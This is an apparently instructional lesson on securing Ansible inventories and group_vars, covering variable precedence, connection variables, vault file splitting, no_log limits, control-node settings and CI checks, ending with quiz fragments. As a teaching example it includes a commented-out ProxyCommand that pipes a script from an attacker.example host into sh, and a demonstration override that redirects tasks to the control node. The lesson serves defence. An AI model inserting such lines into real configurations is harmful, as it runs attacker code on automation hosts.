Inventory and variable security
Where secrets hide in group_vars.
An Ansible inventory is the address book for your automation. It lists every machine you manage and files them into groups: webservers, dbservers, production. Variables are the notes scribbled in the margin next to each address. Which port. Which login. Which database password. Write a door code beside an address and anyone who photocopies the book owns the building. Address books like this get photocopied constantly. They land in git, on laptops, inside container images, and in CI runners (CI is continuous integration, the automation that rebuilds and tests your repo on every commit). What goes into an inventory, and where it lives, is a security decision before it is a convenience one. Everything below is ansible-core 2.16 or newer, with fully qualified module and plugin names.
How a host's variable set gets built
Every time Ansible runs, it builds one flat dictionary of variables for each host. Files under group_vars/<groupname>/ apply to every machine in that group. Files under host_vars/<hostname>/ apply to exactly one machine. Ansible looks for both directories in two places: next to your inventory, and next to your playbook. Then it stacks everything it finds in a fixed order. It works like a pile of transparent sheets on a light box, where the sheet on top is the value you actually read. Bottom to top, roughly: role defaults, inventory group_vars/all, playbook group_vars/all, the specific-group files in those same two locations, host variables from the inventory and then from playbook-adjacent files, gathered facts, play variables, role and task variables, and finally -e extra variables sitting on top of everything. Nothing in that pipeline encrypts a value, masks it, or checks whether you are allowed to see it. Whatever you write is plaintext on disk and plaintext in the control node's memory.
Two details in that stack cause most of the surprises. When a host belongs to several groups at the same depth, Ansible merges them alphabetically, so a variable set in group zebra overwrites the same variable in group alpha. You can change that with ansible_group_priority, where a higher number merges later and therefore wins. That one variable has to live in the inventory source itself, never in a group_vars/ file, because Ansible reads it while it is still loading group_vars. The second detail is the one that bites in code review. A group_vars/ directory sitting next to your playbook outranks the group_vars/ directory sitting next to your inventory. Same file name, same variable name, quietly different winner depending on where the file lives in the repo.
tree inventory/productionansible-inventory -i inventory/production --graph
inventory/production├── group_vars│ ├── all│ │ ├── vars.yml│ │ └── vault.yml│ ├── dbservers.yml│ └── webservers.yml├── host_vars│ └── web1.example.com.yml└── hosts.yml3 directories, 6 files@all:|--@ungrouped:|--@webservers:| |--web1.example.com| |--web2.example.com|--@dbservers:| |--db1.example.com
ansible-playbook -e "db_password=hunter2" feels convenient in a pipeline. Extra variables outrank everything else, so they silently override the layered values you carefully arranged, and the literal string lands in your shell history, in the CI job log, and in ps output on the control node for the whole run. Pass a file instead, -e @secrets.yml, with tight permissions and a delete afterwards. Or fetch the value at run time with a lookup such as community.hashi_vault.hashi_vault, remembering that lookups run on the control node, not on the target. Never type the secret as a literal.Some variables are instructions, not data
A packing slip lists what is inside the box. The shipping label decides where the box goes. A group_vars/ file mixes both on the same page, and Ansible obeys the shipping label. A short list of magic variable names decides where a task runs, as whom, and over what transport. ansible_host is the address Ansible actually dials, which does not have to match the name written in your inventory. ansible_user is the login. ansible_connection picks the transport plugin, for example ansible.builtin.ssh, ansible.builtin.local, or community.docker.docker. ansible_ssh_common_args is pasted straight onto the SSH command line (SSH is secure shell, the encrypted remote login protocol). ansible_python_interpreter names the binary Ansible executes on the far end. None of these look dangerous in a diff. All of them are.
Set ansible_connection: ansible.builtin.local on a group and every task for those hosts stops travelling anywhere. It runs on the control node instead, as the user running the playbook, and if the play sets become: true, as root on the control node. Your "harden the web servers" run quietly reconfigures the one machine holding your vault password. Set ansible_ssh_common_args to include a ProxyCommand and that command runs on the control node before any session is established, which is code execution on your automation host from a one-line change to a YAML file (YAML is the plain-text format Ansible uses for structured data). Repoint ansible_host at a machine somebody else owns and your playbook will deliver the database password there, politely, over a perfectly valid SSH session. You can catch all three before a run with jq, a small command-line filter for JSON (JavaScript Object Notation, the machine-readable text format ansible-inventory prints).
# Reads like ordinary tuning. Either of the last two lines moves execution# somewhere you did not intend, and neither one mentions a shell.http_port: 8080worker_processes: 4# Live in this example: every task for this group now runs on the control node.ansible_connection: ansible.builtin.local# The other shape of the same problem, left commented out. The ProxyCommand# runs on the CONTROL NODE before any SSH session exists.# ansible_ssh_common_args: '-o ProxyCommand="curl -s https://cdn.attacker.example/p | sh"'
ansible-inventory -i inventory/production --playbook-dir . \--host web1.example.com \| jq 'with_entries(select(.key | startswith("ansible_")))'
{"ansible_connection": "ansible.builtin.local","ansible_host": "10.20.0.11","ansible_python_interpreter": "/usr/bin/python3.11","ansible_user": "deploy"}
ansible-inventory has no playbook to anchor to, so it falls back to your current working directory as a stand-in playbook directory. Run it from the repo root and it does pick up a group_vars/ sitting there. Run the exact same command from your home directory, or from a subdirectory, and those files drop out of the answer while ansible-playbook still applies them. --export is stricter again: it skips playbook-adjacent variables entirely unless you ask for them. So a dump can look spotless while the real run is being overridden by a group_vars/all.yml in the repo root. Always pass --playbook-dir, pointed at the directory that actually holds the playbook, so the dump resolves variables the way the run will.Take that ansible_connection line back out before you read on, because every dump below comes from the cleaned-up tree. Now the wider problem: group variables are not scoped to the play that uses them, which is the part people find out the hard way. Any task in any play can read hostvars['db1.example.com']['db_password'] as long as db1 is in the loaded inventory, even when the play only targets webservers. One shared group_vars/all/vault.yml therefore means a template rendered on a staging web server can reach a production database credential, and a role you pulled from Ansible Galaxy runs in the same variable context and can read every secret the run has loaded. Split vault files per environment and per group, and keep the production ones in an inventory that staging runs never touch.
Split the structure from the secrets
The convention that holds up is a recipe card and a locked tin. The card says "add the house spice mix" and anyone may read it. The tin holds the mix and stays shut. Inside each group_vars directory that means two files. vars.yml holds everything a reviewer should be able to read, and every sensitive value in it is a pointer: a reference to a vault_-prefixed variable defined in vault.yml, which is the file you encrypt. (The encryption workflow itself, ansible-vault with per-environment vault IDs, is the next lesson.) The encryption matters. So does something less obvious. You can now enumerate your secrets. Search the repo for vault_ and you get a complete list of every credential your automation depends on, while vars.yml stays fully readable in a pull request, so a reviewer sees the shape of the configuration without ever seeing a value.
# Plain, reviewable, committed as-is. No value in here is a secret.ansible_user: deployansible_python_interpreter: /usr/bin/python3.11db_host: db1.internal.example.comdb_user: app_rwdb_password: "{{ vault_db_password }}" # pointer only, never a valueapi_user: automationapi_password: "{{ vault_api_password }}"
# Shown decrypted for the lesson. On disk the first line reads# $ANSIBLE_VAULT;1.1;AES256# or, when you encrypt with a vault ID, $ANSIBLE_VAULT;1.2;AES256;prod# and everything after that line is hex ciphertext.vault_db_password: "S3nsib1y-L0ng-R4nd0m-Str1ng"vault_api_password: "aNothEr-L0ng-R4nd0m-Str1ng"
# every secret the automation depends on, enumerated from the readable filesgrep -rhoE 'vault_[a-z0-9_]+' --include='*.yml' --exclude='vault.yml' inventory/ \| sort -u
vault_api_passwordvault_db_passwordvault_grafana_admin_passwordvault_redis_auth
Before you run anything, check what a host will actually receive. ansible-inventory --host prints the merged variable set exactly as resolution produced it, and it deliberately does not run Jinja2 (the templating language Ansible uses to fill values into strings). That refusal is the useful part. You see {{ vault_db_password }} instead of a password, which proves the pointer survived the merge and that no literal crept into vars.yml. Add --export and you get only the variables set directly on the host, which is how you tell "this host has its own override" apart from "this host inherited it from a group". Seeing a rendered value takes a real task, so use an ad-hoc ansible.builtin.debug, and think about where that terminal output is going before you press enter.
ansible-inventory -i inventory/production --playbook-dir . \--host web1.example.comansible -i inventory/production --playbook-dir . web1.example.com \-m ansible.builtin.debug -a "var=db_user"
{"ansible_host": "10.20.0.11","ansible_python_interpreter": "/usr/bin/python3.11","ansible_user": "deploy","api_password": "{{ vault_api_password }}","api_user": "automation","db_host": "db1.internal.example.com","db_password": "{{ vault_db_password }}","db_user": "app_rw","http_port": 8080,"worker_processes": 4}web1.example.com | SUCCESS => {"db_user": "app_rw"}
vault.yml before it parses it, so ansible-inventory --list prints those values in plaintext whenever the vault password is reachable, whether through --vault-password-file or ANSIBLE_VAULT_PASSWORD_FILE in the environment. Without the password it stops dead with ERROR! Attempting to decrypt but no vault secrets found. Treat the command as secret-bearing. Keep --list out of any CI job whose logs are retained, use --output to write to a file you then delete, and filter with jq before anything reaches a terminal you might screenshot.What happens to a value after the file
A value does not stay in the file where you typed it. It gets merged, rendered into task arguments, packed into the module payload, shipped over SSH, executed, and echoed back as a task result. Securing the definition point covers exactly one leg of that trip. no_log: true covers two more. On the control node it replaces the task result with a fixed censored string. On the managed host it stops the module from writing its own arguments into syslog or the systemd journal. You can set it on one task, a whole block, or an entire play, and no_target_syslog = True in ansible.cfg turns the target-side logging off everywhere at once. What no_log does not do is keep the value off the target's disk. Pipelining is off by default, so Ansible writes the module, with your arguments baked into it, into a temporary directory on the managed host, runs it, then deletes it. Set ANSIBLE_KEEP_REMOTE_FILES=1 for a debugging session and that file stays behind with the secret inside.
- name: Rotate the appliance API tokenhosts: webserversgather_facts: falsetasks:- name: Ask the appliance for a fresh tokenansible.builtin.uri:url: "https://{{ inventory_hostname }}:8443/api/token"method: POSTbody_format: jsonbody:user: "{{ api_user }}"password: "{{ api_password }}"no_log: trueregister: token_call- name: Confirm the call workedansible.builtin.debug:var: token_call
# -v is needed here: at the default verbosity the first task just prints# "ok: [web1.example.com]" with no result body at all.ansible-playbook -i inventory/production api-token.yml \--limit web1.example.com -v
Using /home/deploy/infra/ansible.cfg as config filePLAY [Rotate the appliance API token] ******************************************TASK [Ask the appliance for a fresh token] *************************************ok: [web1.example.com] => {"censored": "the output has been hidden due to the fact that 'no_log: true' was specified for this result", "changed": false}TASK [Confirm the call worked] *************************************************ok: [web1.example.com] => {"token_call": {"changed": false,"content_type": "application/json","cookies": {},"cookies_string": "","elapsed": 0,"failed": false,"json": {"expires_in": 3600,"token": "eyJhbGciOiJIUzI1NiJ9.aG91c3Rvbg.9Qk1x7"},"msg": "OK (unknown bytes)","redirected": false,"status": 200,"url": "https://web1.example.com:8443/api/token"}}PLAY RECAP *********************************************************************web1.example.com : ok=2 changed=0 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
There is the trap. no_log censors display, not storage. The registered variable still holds the real result with the secret intact, and any later task that prints it prints the secret in full. Treat any variable that has ever held a censored value as radioactive for the rest of the play. The honest cost of no_log is that failures go opaque, and a censored stack trace tells you nothing at three in the morning. Plenty of teams gate it, no_log: "{{ hide_secrets | default(true) }}", so they can switch it off for one controlled debugging run against a throwaway credential instead of reaching for that lever in production under pressure. The gate fails closed: if that expression will not resolve to a boolean, Ansible warns and masks the output anyway.
Harden the control node
The control node is where all of this converges, so a handful of settings are worth pinning even when they already match today's defaults, the way you tape a fuse box shut rather than trusting nobody will flip a switch. Retry files (*.retry) write a list of failed hosts into your working directory, which leaks part of your inventory into whatever folder you happened to be standing in. They are off by default, but inherited configs re-enable them constantly, so say it out loud. A log path gives you the audit trail you want, and Ansible creates that file with whatever your umask hands out and never tightens it afterwards, so give it an owner and a restrictive mode yourself. Then set any_unparsed_is_failed, which turns a broken or missing inventory source into a hard error. Watch the near-namesake: unparsed_is_failed only fires when every single source fails to parse, which is not the case you are worried about. The case you are worried about is four sources loading and the fifth quietly not.
# ./ansible.cfg (skipped entirely if this directory is world-writable)[defaults]retry_files_enabled = False # already the default; pin it against inherited configslog_path = /var/log/ansible/ansible.logno_target_syslog = True # stop modules logging their own args on the managed host[inventory]# default list is: host_list, script, auto, yaml, ini, tomlenable_plugins = ansible.builtin.yaml, ansible.builtin.ini, amazon.aws.aws_ec2any_unparsed_is_failed = True # one broken source is a failure, not a warning
# what actually took effect, and which file set itansible-config dump --only-changed
DEFAULT_LOG_PATH(/home/deploy/infra/ansible.cfg) = /var/log/ansible/ansible.logDEFAULT_NO_TARGET_SYSLOG(/home/deploy/infra/ansible.cfg) = TrueINVENTORY_ANY_UNPARSED_IS_FAILED(/home/deploy/infra/ansible.cfg) = TrueINVENTORY_ENABLED(/home/deploy/infra/ansible.cfg) = ['ansible.builtin.yaml', 'ansible.builtin.ini', 'amazon.aws.aws_ec2']GALAXY_SERVERS:
retry_files_enabled is missing from that output on purpose. --only-changed prints only settings whose value differs from the built-in default, and False already is the default; the empty GALAXY_SERVERS: block at the end is noise this subcommand always prints. Two more things about that config file. Ansible's default inventory plugin list includes script, which means an executable file handed to -i gets run on your control node, as you, before a single task starts. Clone a shared repo, type ansible-playbook -i inventory/prod.sh site.yml, and you have executed a stranger's shell script. Git preserves the executable bit, so it arrives ready to go. The default list also includes auto, whose own documentation describes it as automatic enabling of all installed inventory plugins, so leaving auto in place undoes most of the trimming you just did. Name the plugins you need by their fully qualified collection name (the full namespace.collection.plugin form) and accept the cost: dropping ansible.builtin.host_list means the comma shorthand -i web1,web2 stops working. Last one. Ansible refuses to load an ansible.cfg out of a world-writable directory and tells you so: [WARNING]: Ansible is being run in a world writable directory (/tmp/infra), ignoring it as an ansible.cfg source. If your hardening seems to have evaporated, check that first.
Make the control provable in CI
A convention nobody checks decays. Two checks cover most of this lesson and both are cheap. The first refuses to commit an unencrypted vault file. Every file ansible-vault writes opens with the same fourteen bytes, $ANSIBLE_VAULT, whatever follows on that header line (;1.1;AES256 normally, ;1.2;AES256;prod when you encrypt under a vault ID). So the test is a fourteen-byte read, and it has to read the staged blob rather than the file on your disk, because those two can differ by exactly the edit you forgot to encrypt. Put it in a git hook for fast feedback and run the identical script as a CI step, because hooks are advisory: a --no-verify, a fresh clone, or a commit made through a web interface skips them entirely.
#!/usr/bin/env bash# Run this same script in CI too. Hooks are advisory, pipelines are not.set -euo pipefailfail=0while IFS= read -r f; do# read the STAGED content, not whatever is sitting in the working treeif [ "$(git show ":$f" | head -c 14)" != '$ANSIBLE_VAULT' ]; thenprintf 'REFUSED: %s is staged unencrypted\n' "$f" >&2fail=1fidone < <(git diff --cached --name-only --diff-filter=ACM \| grep -E '(^|/)vault\.yml$' || true)exit "$fail"
git add inventory/production/group_vars/all/vault.ymlgit commit -m "rotate db credentials"
REFUSED: inventory/production/group_vars/all/vault.yml is staged unencrypted
The second check catches the connection-variable problem. Resolve the inventory on both sides of a pull request, keep only the ansible_* keys so nothing secret ends up in a build artifact, and diff the two. Any change to where a host connects, as whom, or through what now shows up as a reviewable line instead of a surprise at run time. Filtering with jq first is the whole point: an unfiltered --list dump is a file full of decrypted credentials, and CI artifacts routinely outlive the job that made them. Budget for one wrinkle. --list has to decrypt vault.yml in order to parse it, so this job needs the vault password even though it never prints a secret. Hand it a read-only password from your CI secret store and keep the job's log retention short.
conn() {ansible-inventory -i "$1/inventory/production" --playbook-dir "$1" --list \| jq -S '._meta.hostvars| map_values(with_entries(select(.key | startswith("ansible_"))))'}git worktree add -q /tmp/base origin/masterdiff <(conn /tmp/base) <(conn .)
14a15> "ansible_connection": "ansible.builtin.local",
None of this is free. Restricting enable_plugins breaks dynamic inventory unless you list every plugin you actually use, and dynamic inventory carries its own bootstrap problem: amazon.aws.aws_ec2 needs cloud credentials to enumerate hosts, and its YAML config file is a very tempting place to paste an access key. Use an instance profile or environment variables and keep that file free of secrets. Fact caching is the same trap at a larger scale. Point fact_caching at ansible.builtin.jsonfile or community.general.redis and any variable a play sets with cacheable: true outlives the run, sitting in plaintext on storage other teams may be able to read. Audit what you mark cacheable before you point the cache anywhere shared.
Run ansible-inventory --playbook-dir . --host <hostname> once for each environment you own, filter it down to the ansible_* keys, and commit that output as a checked-in expectation. It costs one small file per environment, and it turns every future change to where your automation connects into a failed diff instead of an incident report.
group_vars/all/vars.yml contains db_password: "{{ vault_db_password }}". You run ansible-inventory -i inventory/production --playbook-dir . --host web1.example.com. What appears for db_password?--export does; plain --host prints the fully merged set, group variables included.no_log: true and register: token_call. Six tasks later, an ordinary ansible.builtin.debug task with no no_log prints token_call. What happens?no_log is what suppresses the module's syslog and journal logging on the target, and the control-node display is the thing leaking here.ansible-inventory -i ~/infra/inventory/production --host web1.example.com and the output looks clean. You then cd ~/infra and run the playbook: tasks finish instantly and new files appear on your own laptop. Most likely cause, and which command would have caught it?